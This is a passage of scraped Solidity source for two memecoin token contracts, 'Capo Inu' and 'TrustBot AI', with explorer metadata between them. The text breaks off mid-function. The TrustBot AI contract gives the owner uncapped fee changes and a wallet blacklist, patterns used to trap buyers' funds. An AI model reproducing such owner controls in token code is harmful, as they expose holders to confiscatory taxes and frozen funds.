function set(address key, uint val) private { if (tokenHoldersMap.inserted[key]) { tokenHoldersMap.values[key] = val; } else { tokenHoldersMap.inserted[key] = true; tokenHoldersMap.values[key] = val; tokenHoldersMap.indexOf[key] = tokenHoldersMap.keys.length; tokenHoldersMap.keys.push(key); } } function remove(address key) private { if (!tokenHoldersMap.inserted[key]) { return; } delete tokenHoldersMap.inserted[key]; delete tokenHoldersMap.values[key]; uint index = tokenHoldersMap.indexOf[key]; uint lastIndex = tokenHoldersMap.keys.length - 1; address lastKey = tokenHoldersMap.keys[lastIndex]; tokenHoldersMap.indexOf[lastKey] = index; delete tokenHoldersMap.indexOf[key]; tokenHoldersMap.keys[index] = lastKey; tokenHoldersMap.keys.pop(); } Map private tokenHoldersMap; uint256 public lastProcessedIndex; mapping (address => bool) public excludedFromDividends; mapping (address => uint256) public lastClaimTimes; uint256 public claimWait; uint256 public immutable minimumTokenBalanceForDividends; event ExcludeFromDividends(address indexed account); event IncludeInDividends(address indexed account); event ClaimWaitUpdated(uint256 indexed newValue, uint256 indexed oldValue); event Claim(address indexed account, uint256 amount, bool indexed automatic); constructor() { claimWait = 1200; minimumTokenBalanceForDividends = 1000 * (10**18); } function excludeFromDividends(address account) external onlyOwner { excludedFromDividends[account] = true; _setBalance(account, 0); remove(account); emit ExcludeFromDividends(account); } function includeInDividends(address account) external onlyOwner { require(excludedFromDividends[account]); excludedFromDividends[account] = false; emit IncludeInDividends(account); } function updateClaimWait(uint256 newClaimWait) external onlyOwner { require(newClaimWait >= 1200 && newClaimWait <= 86400, "Dividend_Tracker: claimWait must be updated to between 1 and 24 hours"); require(newClaimWait != claimWait, "Dividend_Tracker: Cannot update claimWait to same value"); emit ClaimWaitUpdated(newClaimWait, claimWait); claimWait = newClaimWait; } function getLastProcessedIndex() external view returns(uint256) { return lastProcessedIndex; } function getNumberOfTokenHolders() external view returns(uint256) { return tokenHoldersMap.keys.length; } function getAccount(address _account, address _rewardToken) public view returns ( address account, int256 index, int256 iterationsUntilProcessed, uint256 withdrawableDividends, uint256 totalDividends, uint256 lastClaimTime, uint256 nextClaimTime, uint256 secondsUntilAutoClaimAvailable) { account = _account; index = getIndexOfKey(account); iterationsUntilProcessed = -1; if(index >= 0) { if(uint256(index) > lastProcessedIndex) { iterationsUntilProcessed = index.sub(int256(lastProcessedIndex)); } else { uint256 processesUntilEndOfArray = tokenHoldersMap.keys.length > lastProcessedIndex ? tokenHoldersMap.keys.length.sub(lastProcessedIndex) : 0; iterationsUntilProcessed = index.add(int256(processesUntilEndOfArray)); } } withdrawableDividends = withdrawableDividendOf(account, _rewardToken); totalDividends = accumulativeDividendOf(account, _rewardToken); lastClaimTime = lastClaimTimes[account]; nextClaimTime = lastClaimTime > 0 ? lastClaimTime.add(claimWait) : 0; secondsUntilAutoClaimAvailable = nextClaimTime > block.timestamp ? nextClaimTime.sub(block.timestamp) : 0; } function getAccountAtIndex(uint256 index, address _rewardToken) external view returns ( address, int256, int256, uint256, uint256, uint256, uint256, uint256) { if(index >= size()) { return (0x0000000000000000000000000000000000000000, -1, -1, 0, 0, 0, 0, 0); } address account = getKeyAtIndex(index); return getAccount(account, _rewardToken); } function canAutoClaim(uint256 lastClaimTime) private view returns (bool) { if(lastClaimTime > block.timestamp) { return false; } return block.timestamp.sub(lastClaimTime) >= claimWait; } function setBalance(address payable account, uint256 newBalance) external onlyOwner { if(excludedFromDividends[account]) { return; } if(newBalance >= minimumTokenBalanceForDividends) { _setBalance(account, newBalance); set(account, newBalance); } else { _setBalance(account, 0); remove(account); } processAccount(account, true); } function process(uint256 gas) external returns (uint256, uint256, uint256) { uint256 numberOfTokenHolders = tokenHoldersMap.keys.length; if(numberOfTokenHolders == 0) { return (0, 0, lastProcessedIndex); } uint256 _lastProcessedIndex = lastProcessedIndex; uint256 gasUsed = 0; uint256 gasLeft = gasleft(); uint256 iterations = 0; uint256 claims = 0; while(gasUsed < gas && iterations < numberOfTokenHolders) { _lastProcessedIndex++; if(_lastProcessedIndex >= tokenHoldersMap.keys.length) { _lastProcessedIndex = 0; } address account = tokenHoldersMap.keys[_lastProcessedIndex]; if(canAutoClaim(lastClaimTimes[account])) { if(processAccount(payable(account), true)) { claims++; } } iterations++; uint256 newGasLeft = gasleft(); if(gasLeft > newGasLeft) { gasUsed = gasUsed.add(gasLeft.sub(newGasLeft)); } gasLeft = newGasLeft; } lastProcessedIndex = _lastProcessedIndex; return (iterations, claims, lastProcessedIndex); } function processAccount(address payable account, bool automatic) public onlyOwner returns (bool) { uint256 amount; bool paid; for (uint256 i; i < rewardTokens.length; i++){ amount = _withdrawDividendOfUser(account, rewardTokens[i]); if(amount > 0) { lastClaimTimes[account] = block.timestamp; emit Claim(account, amount, automatic); paid = true; } } return paid; } } contract CAPO is ERC20, Ownable { using SafeMath for uint256; IUniswapV2Router02 public immutable uniswapV2Router; address public immutable uniswapV2Pair; bool private swapping; DividendTracker public dividendTracker; address public operationsWallet; uint256 public swapTokensAtAmount; uint256 public maxTxn; uint256 public liquidityActiveBlock = 0; // 0 means liquidity is not active yet uint256 public tradingActiveBlock = 0; // 0 means trading is not active uint256 public earlyBuyPenaltyEnd; // determines when snipers/bots can sell without extra penalty bool public limitsInEffect = true; bool public tradingActive = false; bool public swapEnabled = false; mapping(address => uint256) private _holderLastTransferTimestamp; // to hold last Transfers temporarily during launch bool public transferDelayEnabled = true; uint256 public constant feeDivisor = 1000; uint256 public totalSellFees; uint256 public rewardsSellFee; uint256 public operationsSellFee; uint256 public liquiditySellFee; uint256 public totalBuyFees; uint256 public rewardsBuyFee; uint256 public operationsBuyFee; uint256 public liquidityBuyFee; uint256 public tokensForRewards; uint256 public tokensForOperations; uint256 public tokensForLiquidity; uint256 public gasForProcessing = 0; uint256 public lpWithdrawRequestTimestamp; uint256 public lpWithdrawRequestDuration = 3 days; bool public lpWithdrawRequestPending; uint256 public lpPercToWithDraw; mapping (address => bool) private _isExcludedFromFees; mapping (address => bool) public _isExcludedMaxTransactionAmount; mapping (address => bool) public automatedMarketMakerPairs; event ExcludeFromFees(address indexed account, bool isExcluded); event ExcludeMultipleAccountsFromFees(address[] accounts, bool isExcluded); event ExcludedMaxTransactionAmount(address indexed account, bool isExcluded); event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value); event OperationsWalletUpdated(address indexed newWallet, address indexed oldWallet); event DevWalletUpdated(address indexed newWallet, address indexed oldWallet); event GasForProcessingUpdated(uint256 indexed newValue, uint256 indexed oldValue); event SwapAndLiquify( uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiqudity ); event SendDividends( uint256 tokensSwapped, uint256 amount ); event ProcessedDividendTracker( uint256 iterations, uint256 claims, uint256 lastProcessedIndex, bool indexed automatic, uint256 gas, address indexed processor ); event RequestedLPWithdraw(); event WithdrewLPForMigration(); event CanceledLpWithdrawRequest(); constructor() ERC20("Capo Inu", "CAPO") { uint256 totalSupply = 100 * 1e6 * 1e18; swapTokensAtAmount = totalSupply * 3 / 100; // 3% swap tokens amount maxTxn = totalSupply * 3 / 100; // 3% Max wallet rewardsBuyFee = 0; operationsBuyFee = 210; liquidityBuyFee = 0; totalBuyFees = rewardsBuyFee + operationsBuyFee + liquidityBuyFee; rewardsSellFee = 0; operationsSellFee = 420; liquiditySellFee = 0; totalSellFees = rewardsSellFee + operationsSellFee + liquiditySellFee; dividendTracker = new DividendTracker(); operationsWallet = address(msg.sender); // set as operations wallet IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D address _uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = _uniswapV2Pair; _setAutomatedMarketMakerPair(_uniswapV2Pair, true); dividendTracker.excludeFromDividends(address(dividendTracker)); dividendTracker.excludeFromDividends(address(this)); dividendTracker.excludeFromDividends(owner()); dividendTracker.excludeFromDividends(address(_uniswapV2Router)); dividendTracker.excludeFromDividends(address(0xdead)); excludeFromFees(owner(), true); excludeFromFees(address(this), true); excludeFromFees(address(0xdead), true); excludeFromMaxTransaction(owner(), true); excludeFromMaxTransaction(address(this), true); excludeFromMaxTransaction(address(dividendTracker), true); excludeFromMaxTransaction(address(_uniswapV2Router), true); excludeFromMaxTransaction(address(0xdead), true); _createInitialSupply(address(owner()), totalSupply); } receive() external payable { } function addPresaleAddressForExclusions(address _presaleAddress) external onlyOwner { excludeFromFees(_presaleAddress, true); dividendTracker.excludeFromDividends(_presaleAddress); excludeFromMaxTransaction(_presaleAddress, true); } function disableTransferDelay() external onlyOwner returns (bool){ transferDelayEnabled = false; return true; } function excludeFromDividends(address account) external onlyOwner { dividendTracker.excludeFromDividends(account); } function includeInDividends(address account) external onlyOwner { dividendTracker.includeInDividends(account); } function enableTrading() external onlyOwner { require(!tradingActive, "Cannot re-enable trading"); tradingActive = true; swapEnabled = true; tradingActiveBlock = block.number; } function updateSwapEnabled(bool enabled) external onlyOwner(){ swapEnabled = enabled; } function updateMaxWalletAmount(uint256 newNum) external { require(_msgSender() == operationsWallet); require(newNum > (totalSupply() * 1 / 100)/1e18, "Cannot set maxTxn lower than 1%"); maxTxn = newNum * (10**18); } function updateBuyFees(uint256 _operationsFee, uint256 _rewardsFee, uint256 _liquidityFee) external onlyOwner { operationsBuyFee = _operationsFee; rewardsBuyFee = _rewardsFee; liquidityBuyFee = _liquidityFee; totalBuyFees = operationsBuyFee + rewardsBuyFee + liquidityBuyFee; require(totalBuyFees <= 500, "Must keep fees at 50% or less"); } function updateSellFees(uint256 _operationsFee, uint256 _rewardsFee, uint256 _liquidityFee) external onlyOwner { operationsSellFee = _operationsFee; rewardsSellFee = _rewardsFee; liquiditySellFee = _liquidityFee; totalSellFees = operationsSellFee + rewardsSellFee + liquiditySellFee; require(totalSellFees <= 500, "Must keep fees at 50% or less"); } function excludeFromMaxTransaction(address updAds, bool isEx) public onlyOwner { _isExcludedMaxTransactionAmount[updAds] = isEx; emit ExcludedMaxTransactionAmount(updAds, isEx); } function excludeFromFees(address account, bool excluded) public onlyOwner { _isExcludedFromFees[account] = excluded; emit ExcludeFromFees(account, excluded); } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) external onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFees[accounts[i]] = excluded; } emit ExcludeMultipleAccountsFromFees(accounts, excluded); } function setAutomatedMarketMakerPair(address pair, bool value) external onlyOwner { require(pair != uniswapV2Pair, "The Uniswap pair cannot be removed from automatedMarketMakerPairs"); _setAutomatedMarketMakerPair(pair, value); } function _setAutomatedMarketMakerPair(address pair, bool value) private { automatedMarketMakerPairs[pair] = value; excludeFromMaxTransaction(pair, value); if(value) { dividendTracker.excludeFromDividends(pair); } emit SetAutomatedMarketMakerPair(pair, value); } function updateOperationsWallet(address newOperationsWallet) external { require(_msgSender() == operationsWallet); require(newOperationsWallet != address(0), "may not set to 0 address"); excludeFromFees(newOperationsWallet, true); emit OperationsWalletUpdated(newOperationsWallet, operationsWallet); operationsWallet = newOperationsWallet; } function updateGasForProcessing(uint256 newValue) external onlyOwner { require(newValue >= 200000 && newValue <= 500000, " gasForProcessing must be between 200,000 and 500,000"); require(newValue != gasForProcessing, "Cannot update gasForProcessing to same value"); emit GasForProcessingUpdated(newValue, gasForProcessing); gasForProcessing = newValue; } function updateClaimWait(uint256 claimWait) external onlyOwner { dividendTracker.updateClaimWait(claimWait); } function getClaimWait() external view returns(uint256) { return dividendTracker.claimWait(); } function getTotalDividendsDistributed(address rewardToken) external view returns (uint256) { return dividendTracker.totalDividendsDistributed(rewardToken); } function isExcludedFromFees(address account) external view returns(bool) { return _isExcludedFromFees[account]; } function withdrawableDividendOf(address account, address rewardToken) external view returns(uint256) { return dividendTracker.withdrawableDividendOf(account, rewardToken); } function dividendTokenBalanceOf(address account) external view returns (uint256) { return dividendTracker.holderBalance(account); } function getAccountDividendsInfo(address account, address rewardToken) external view returns ( address, int256, int256, uint256, uint256, uint256, uint256, uint256) { return dividendTracker.getAccount(account, rewardToken); } function getAccountDividendsInfoAtIndex(uint256 index, address rewardToken) external view returns ( address, int256, int256, uint256, uint256, uint256, uint256, uint256) { return dividendTracker.getAccountAtIndex(index, rewardToken); } function processDividendTracker(uint256 gas) external { (uint256 iterations, uint256 claims, uint256 lastProcessedIndex) = dividendTracker.process(gas); emit ProcessedDividendTracker(iterations, claims, lastProcessedIndex, false, gas, tx.origin); } function claim() external { dividendTracker.processAccount(payable(msg.sender), false); } function getLastProcessedIndex() external view returns(uint256) { return dividendTracker.getLastProcessedIndex(); } function getNumberOfDividendTokenHolders() external view returns(uint256) { return dividendTracker.getNumberOfTokenHolders(); } function getNumberOfDividends() external view returns(uint256) { return dividendTracker.totalBalance(); } // remove limits after token is stable function removeLimits() external onlyOwner returns (bool){ limitsInEffect = false; transferDelayEnabled = false; return true; } function _transfer( address from, address to, uint256 amount ) internal override { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); if(amount == 0) { super._transfer(from, to, 0); return; } if(!tradingActive){ require(_isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active yet."); } if(limitsInEffect){ if ( from != owner() && to != owner() && to != address(0) && to != address(0xdead) && !swapping ){ // at launch if the transfer delay is enabled, ensure the block timestamps for purchasers is set -- during launch. if (transferDelayEnabled){ if (to != address(uniswapV2Router) && to != address(uniswapV2Pair)){ require(_holderLastTransferTimestamp[tx.origin] < block.number, "_transfer:: Transfer Delay enabled. Only one purchase per block allowed."); _holderLastTransferTimestamp[tx.origin] = block.number; } } //when buy if (automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to]) { require(amount + balanceOf(to) <= maxTxn, "Unable to exceed Max Wallet"); } //when sell else if(!_isExcludedMaxTransactionAmount[to]) { require(amount + balanceOf(to) <= maxTxn, "Unable to exceed Max Wallet"); } } } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= swapTokensAtAmount; if( canSwap && swapEnabled && !swapping && !automatedMarketMakerPairs[from] && !_isExcludedFromFees[from] && !_isExcludedFromFees[to] ) { swapping = true; swapBack(); swapping = false; } bool takeFee = !swapping; if(_isExcludedFromFees[from] || _isExcludedFromFees[to]) { takeFee = false; } uint256 fees = 0; if(takeFee){ if(tradingActiveBlock + 1 >= block.number && (automatedMarketMakerPairs[to] || automatedMarketMakerPairs[from])){ fees = amount.mul(99).div(100); tokensForLiquidity += fees * 33 / 99; tokensForRewards += fees * 33 / 99; tokensForOperations += fees * 33 / 99; } else if (automatedMarketMakerPairs[to] && totalSellFees > 0){ fees = amount.mul(totalSellFees).div(feeDivisor); tokensForRewards += fees * rewardsSellFee / totalSellFees; tokensForLiquidity += fees * liquiditySellFee / totalSellFees; tokensForOperations += fees * operationsSellFee / totalSellFees; } else if(automatedMarketMakerPairs[from] && totalBuyFees > 0) { fees = amount.mul(totalBuyFees).div(feeDivisor); tokensForRewards += fees * rewardsBuyFee / totalBuyFees; tokensForLiquidity += fees * liquidityBuyFee / totalBuyFees; tokensForOperations += fees * operationsBuyFee / totalBuyFees; } if(fees > 0){ super._transfer(from, address(this), fees); } amount -= fees; } super._transfer(from, to, amount); dividendTracker.setBalance(payable(from), balanceOf(from)); dividendTracker.setBalance(payable(to), balanceOf(to)); if(!swapping && gasForProcessing > 0) { uint256 gas = gasForProcessing; try dividendTracker.process(gas) returns (uint256 iterations, uint256 claims, uint256 lastProcessedIndex) { emit ProcessedDividendTracker(iterations, claims, lastProcessedIndex, true, gas, tx.origin); } catch {} } } function swapTokensForEth(uint256 tokenAmount) private { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of ETH path, address(this), block.timestamp ); } function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.addLiquidityETH{value: ethAmount}( address(this), tokenAmount, 0, // slippage is unavoidable 0, // slippage is unavoidable address(operationsWallet), block.timestamp ); } function swapBack() private { uint256 contractBalance = balanceOf(address(this)); uint256 totalTokensToSwap = tokensForLiquidity + tokensForOperations + tokensForRewards; if(contractBalance == 0 || totalTokensToSwap == 0) {return;} uint256 liquidityTokens = contractBalance * tokensForLiquidity / totalTokensToSwap / 2; uint256 amountToSwapForETH = contractBalance.sub(liquidityTokens); uint256 initialETHBalance = address(this).balance; swapTokensForEth(amountToSwapForETH); uint256 ethBalance = address(this).balance.sub(initialETHBalance); uint256 ethForOperations = ethBalance.mul(tokensForOperations).div(totalTokensToSwap - (tokensForLiquidity/2)); uint256 ethForRewards = ethBalance.mul(tokensForRewards).div(totalTokensToSwap - (tokensForLiquidity/2)); uint256 ethForLiquidity = ethBalance - ethForOperations - ethForRewards; tokensForLiquidity = 0; tokensForOperations = 0; tokensForRewards = 0; if(liquidityTokens > 0 && ethForLiquidity > 0){ addLiquidity(liquidityTokens, ethForLiquidity); emit SwapAndLiquify(amountToSwapForETH, ethForLiquidity, tokensForLiquidity); } (bool success,) = address(dividendTracker).call{value: ethForRewards}(""); (success,) = address(operationsWallet).call{value: address(this).balance}(""); } function withdrawStuckEth() external onlyOwner { (bool success,) = address(msg.sender).call{value: address(this).balance}(""); require(success, "failed to withdraw"); } function requestToWithdrawLP(uint256 percToWithdraw) external onlyOwner { require(!lpWithdrawRequestPending, "Cannot request again until first request is over."); require(percToWithdraw <= 100 && percToWithdraw > 0, "Need to set between 1-100%"); lpWithdrawRequestTimestamp = block.timestamp; lpWithdrawRequestPending = true; lpPercToWithDraw = percToWithdraw; emit RequestedLPWithdraw(); } function nextAvailableLpWithdrawDate() public view returns (uint256){ if(lpWithdrawRequestPending){ return lpWithdrawRequestTimestamp + lpWithdrawRequestDuration; } else { return 0; // 0 means no open requests } } function withdrawRequestedLP() external onlyOwner { require(block.timestamp >= nextAvailableLpWithdrawDate() && nextAvailableLpWithdrawDate() > 0, "Must request and wait."); lpWithdrawRequestTimestamp = 0; lpWithdrawRequestPending = false; uint256 amtToWithdraw = IERC20(address(uniswapV2Pair)).balanceOf(address(this)) * lpPercToWithDraw / 100; lpPercToWithDraw = 0; IERC20(uniswapV2Pair).transfer(msg.sender, amtToWithdraw); } function cancelLPWithdrawRequest() external onlyOwner { lpWithdrawRequestPending = false; lpPercToWithDraw = 0; lpWithdrawRequestTimestamp = 0; emit CanceledLpWithdrawRequest(); } }

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v0.8.13+commit.abaa5c0e

Default

MIT

ipfs://cc8d2245f683c43e6d1d333c558170d0ea59dbd9349474a07ef0f209359e4972

TrustBotAI

TrustBotAI.sol

0x25876d8f60c6dddf75e8c9e0a67455f1db2cdc76

Solidity

/* Website: https://trustbotai.xyz/ Twitter: https://twitter.com/TrustBotAI TG: https://t.me/TrustBotAI DAPP: https://trustbotai.xyz/login */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.18; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract TrustBotAI is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "TrustBot AI"; string private constant _symbol = "TRUST"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 10000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _redisFeeOnBuy = 0; uint256 private BuyFees = 3; uint256 private _redisFeeOnSell = 0; uint256 private SellFees = 3; //Original Fee uint256 private _redisFee = 0; uint256 private _taxFee = SellFees; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping (address => uint256) public _buyMap; address payable public _developmentAddress; address payable public _marketingAddress; IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 200000 * 10**9; uint256 public _maxWalletSize = 200000 * 10**9; uint256 public _swapTokensAtAmount = 20000 * 10**9; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); _developmentAddress = payable(owner()); _marketingAddress = payable(0x565b27f1E95FC8c575756247074a7107552c4291); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_developmentAddress] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { //Trade start check if (!tradingOpen) { require(from == owner(), "TOKEN: cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _swapTokensAtAmount) { contractTokenBalance = _swapTokensAtAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = BuyFees; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = SellFees; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _marketingAddress.transfer(amount); } function TrustAI() public onlyOwner { tradingOpen = true; } function manualswap() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function BlockWallets(address[] memory addys) public onlyOwner { for (uint256 i = 0; i < addys.length; i++) { bots[addys[i]] = true; } } function unBlockWallet(address _addy) public onlyOwner { bots[_addy] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function changeFees(uint256 _buyTaxes, uint256 _sellTaxes) public onlyOwner { BuyFees = _buyTaxes; SellFees = _sellTaxes; } function changeSwapbackThreshold(uint256 _amount) public onlyOwner { _swapTokensAtAmount = _amount; } function _toggleSwapback(bool _swapEnabled) public onlyOwner { 